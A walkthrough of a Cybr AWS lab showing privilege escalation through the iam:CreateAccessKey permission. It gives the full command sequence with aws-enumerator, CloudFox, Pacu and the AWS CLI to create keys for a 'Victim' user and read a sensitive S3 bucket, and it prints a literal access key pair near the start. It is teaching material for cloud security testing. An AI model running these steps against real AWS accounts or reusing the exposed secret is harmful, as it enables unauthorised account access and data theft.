AWS Pentesting: IAM Privilege Escalation via iam:CreateAccessKey

In this writeup, we will do another walkthrough on Cybr’s IAM CreateAccessKey PrivEsc lab, which highlights privilege escalation by abusing the iam:CreateAccessKey permission which creates a new AWS secret access key and corresponding AWS access key ID for the specified user.

The image below shows that our IAM user is “iam-createaccesskey-privesc-1735220661357-Attacker”.

Lets run as usual the aws-enumerator tool using the command below, which we can get from this link

./aws-enumerator cred  -aws_access_key_id  AKIAQGYBPW3XAOHSGGST -aws_secret_access_key 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
./aws-enumerator enum -services all -speed slow
./aws-enumerator dump -services sts,iam

Based on the output, we can ListGroups, ListAccessKeys, GetUser, ListUsers, and ListPolicies. The output shows we cant list for roles so we can focus on users and groups but you can try commands such as “list-roles”.

Lets get a high level overview of the AWS services used by the target organization. I normally use Cloudfox with “inventory” option or Prowler with “quick-check” option for this use case. For Prowler, we must specify the region.

./cloudfox aws --profile <profile name> inventory
./cloudfox aws --profile UpdateLoginProfile inventory

The lab mentioned that our main goal is to escalate our permission so we can read the contents of the restricted S3 buckets.

The CloudFox output above doesn't show that the S3 is utilized by the target organization. We can get this details by asking from the customer during alignment call or prerequisites and if your given and IAM user with arn:aws:iam::aws:policy/ReadOnlyAccess permission.

Let’s run the S3 command below to check our permission to list the bucket and to get the contents of the bucket.

aws s3 ls --profile CreateAccessKey

Recon for Users, and Groups.

Lets run “list-user-policies” and “list-attached-user-polices” to check for inline and attached policies applied to the user.

aws iam list-user-policies --user-name <username> --profile <profile name>
aws iam list-user-policies --user-name iam-createaccesskey-privesc-1735220661357-Attacker --profile  CreateAccessKey

aws iam list-attached-user-policies --user-name <username> --profile <profile name>
aws iam list-attached-user-policies --user-name iam-createaccesskey-privesc-1735220661357-Attacker --profile  CreateAccessKey

The image above shows that there are no inline policies applied to this user. Attached policy command is also not allowed to run for this user.

Next, let’s run the list-groups-for-user command to identify the groups our current IAM user is a member of.

aws iam list-groups-for-user --user-name <user-name> --profile <profile name>
aws iam list-groups-for-user --user-name iam-createaccesskey-privesc-1735220661357-Attacker --profile  CreateAccessKey

The image above shows that there is a group named “iam-createaccesskey-privesc-1735220661357-Developers” which we are a member of.

We can probably check for the other groups using the command “list-groups” to list all groups but as the lab title suggest, we can just focus first on the on the policies for the current group and the list of users. Also, the Cloudfox output above only shows one group.

Next, lets run “list-group-policies” to list the inline policies, we can also run “list-attached-group-policies” ( which our current user has not permission to run) to view the attached policies.

aws iam list-group-policies --group-name <group name> --profile <profile name>
aws iam list-group-policies --group-name iam-createaccesskey-privesc-1735220661357-Developers --profile  CreateAccessKey

The image below shows that there is a group policy named iam-createaccesskey-privesc-1735220661357-policy

Lets get this policy document using the “get-group-policy” command below.

aws iam get-group-policy --group-name <group name> --policy-name <policy name> --profile <profile name>
aws iam get-group-policy --group-name iam-createaccesskey-privesc-1735220661357-Developers --policy-name iam-createaccesskey-privesc-1735220661357-policy --profile CreateAccessKey

Based on this policy, our Attacker user has an iam:CreateAccessKey and iam:ListAccessKeys permissions on the iam-createaccesskey-privesc-1735220661357-Victim user and probably on our own ( Attacker) user ( but listing keys for the Attacker user is not allowed possibly due to other policies that we cant view such as in attached user policy or attached group policy.)

aws iam list-access-keys  --user-name <returned-username-here> --profile <profile name>
aws iam list-access-keys  --user-name iam-createaccesskey-privesc-1735220661357-Victim --profile CreateAccessKey

The image below shows we cant run “list-access-keys”

aws iam list-access-keys  --user-name am-createaccesskey-privesc-1735220661357-Attacker --profile CreateAccessKey

As an option, you may cross check this privilege escalation vector using Pacu. Check my other walkthrough such as this link, on how to set up Pacu.

run iam__enum_permissions
run iam__enum_users_roles_policies_groups
run iam__privesc_scan

As shown above, Pacu was not able to detect this CreateAccessKey privilege escalation attack vector.

aws iam create-access-key  --user-name <returned-username-here> --profile <profile name>  --output text | tee creds.txt
aws iam create-access-key  --user-name iam-createaccesskey-privesc-1735220661357-Victim --profile CreateAccessKey  --output text | tee creds.txt

We are now logged in as iam-createaccesskey-privesc-1735220661357-Victim

Same as above, we can recon again for the polices applied for the roles, users, and groups both inline and attached. This lab doesn't allows listing for roles, so we can focus on the users and groups. For the policy of users, run “list-user-policies” and “list-attached-user-policies”. Next, we can focus on the policies for the group by running “list-groups-for-user” first, then list-group-policies and list-attached-group-policies then retrieve the policy using get-group-policy

aws iam list-user-policies --user-name iam-createaccesskey-privesc-1735220661357-Victim --profile victim
aws iam list-attached-user-policies --user-name iam-createaccesskey-privesc-1735220661357-Victim --profile victim

There is an line policy named GiveAccessToS3 that is applied to the Victim user.

Lets view the policy document using the get-user-policy command below.

aws iam get-user-policy --user-name <username of victim> --policy-name <new policy name> --profile victim
aws iam get-user-policy --user-name iam-createaccesskey-privesc-1735220661357-Victim --policy-name GiveAccessToS3 --profile victim

Lets confirm that we escalated our permission by accessing the S3 buckets,

aws s3 ls --profile victim
aws s3 ls s3://cybr-sensitive-data-bucket-014498641646 --profile victim
aws s3 cp s3://cybr-sensitive-data-bucket-014498641646/customers.txt - --profile victim

Conclusion:

In this walkthrough, we showed how privilege escalation can be performed by abusing the iam:CreateAccessKey permission.

In this lab, we also showed our recon methodology on IAM permissions and covered tools such as IAM Enumerator, Cloudfox, and Pacu.

References:

https://cybr.com/hands-on-labs/lab/iam-createaccesskey-privesc/
https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/
https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html